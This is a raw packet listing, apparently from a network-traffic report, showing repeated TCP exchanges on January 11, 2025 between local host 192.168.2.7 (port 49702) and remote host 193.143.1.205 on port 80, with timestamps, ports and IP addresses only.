Jan 11, 2025 08:30:20.566776037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566788912 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.566863060 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566895962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566930056 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.566942930 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.566975117 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.566981077 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567014933 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567045927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567058086 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.567080021 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567112923 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567126036 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.567147017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567181110 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567229033 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.567353010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567403078 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567434072 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567451954 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.567466974 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567477942 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.567578077 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567625999 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567657948 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567665100 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.567691088 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567709923 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.567724943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567759037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567795038 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567807913 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.567821980 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.567852974 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.568115950 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568147898 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568167925 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.568181038 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568213940 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568228960 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.568247080 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568279028 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568300962 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.568310976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568344116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568356991 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.568378925 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568411112 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568444014 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568454981 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.568476915 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568489075 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.568511009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568547010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568557024 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.568919897 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568953037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.568970919 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.568984985 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569017887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569051027 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569067001 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.569082975 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569104910 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.569118023 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569149971 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569183111 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569192886 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.569216013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569231033 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.569248915 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569281101 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569312096 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.569314003 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569348097 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569358110 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.569380999 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569413900 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569433928 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.569453001 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569484949 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569510937 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.569921970 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569957018 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.569972992 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.569991112 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570024014 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570055962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570067883 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.570106983 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570116997 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.570139885 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570173025 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570204973 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570220947 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.570239067 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570252895 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.570272923 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570306063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570331097 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.570338964 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570372105 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570384026 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.570405006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570440054 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.570485115 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.572433949 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.601160049 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601233006 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.601358891 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601392031 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601427078 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601445913 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.601475954 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601511955 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601538897 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.601538897 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601572990 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601587057 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.601607084 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601639032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601671934 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.601675034 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601708889 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.601717949 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.617670059 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.617722988 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.617872953 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.617908955 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.617943048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.617976904 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.617988110 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618010998 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618026972 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618043900 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618074894 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618105888 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618108988 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618144035 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618149996 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618177891 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618211031 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618227959 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618243933 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618290901 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618295908 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618329048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618370056 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618376970 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618410110 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618442059 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618453979 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618475914 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618508101 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618525028 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618546009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.618623018 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.618663073 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.624933958 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.652949095 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653086901 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653091908 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653121948 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653175116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653177023 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653208017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653240919 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653249025 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653274059 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653323889 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653330088 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653356075 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653388977 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653398991 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653423071 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653455019 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653466940 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653493881 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653541088 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653542042 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653573990 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653606892 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653631926 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653644085 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653681993 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653707981 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653713942 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653780937 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653846025 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653877974 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653909922 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653923988 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.653943062 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653975010 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.653987885 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.654009104 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654041052 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654073954 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654076099 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.654118061 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.654222012 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654396057 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654428005 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654459953 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654474020 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.654493093 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654505968 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.654536963 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654567957 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654597044 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.654599905 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654633045 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654665947 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654674053 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.654699087 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654717922 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.654733896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654766083 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654776096 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.654799938 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.654874086 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.655056000 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655087948 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655119896 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655144930 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.655152082 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655185938 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655219078 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655221939 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.655289888 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.655458927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655491114 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655524015 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655555964 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655574083 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.655589104 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655601978 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.655622959 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655654907 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655685902 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655689001 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.655719042 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655730963 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.655754089 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655786991 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655837059 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.655919075 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655950069 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655982971 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.655992031 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656016111 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656044006 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656047106 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656080961 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656112909 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656116962 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656157017 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656421900 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656455040 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656486988 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656518936 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656527042 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656553030 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656567097 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656585932 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656618118 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656651020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656661987 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656683922 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656693935 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656718016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656754017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656770945 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656788111 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656820059 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656852007 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656856060 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656884909 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656898022 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656919956 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656954050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.656969070 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.656986952 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.657040119 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.657172918 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.658006907 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.687968016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.688008070 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.688026905 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.688045979 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.688096046 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.688097954 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.688129902 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.688164949 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.688179016 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.688256025 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.688285112 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.688327074 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.699533939 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.704355001 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704391956 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704417944 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.704427004 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704463959 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704478025 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.704498053 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704547882 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.704621077 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704653025 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704685926 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704703093 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.704720020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704766035 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.704776049 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.707792044 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.707830906 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.707864046 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.707881927 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.707909107 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.707912922 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.707950115 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.707952023 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.707967043 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.707983971 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.708017111 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.708034992 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.708050013 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.708082914 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.708117962 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.708127022 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.708161116 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.724525928 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.739646912 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.739707947 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.739744902 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.739790916 CET	49702	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:30:20.739794016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.739830017 CET	80	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:30:20.739857912 CET	80	49702	193.143.1.205	192.168.2.7
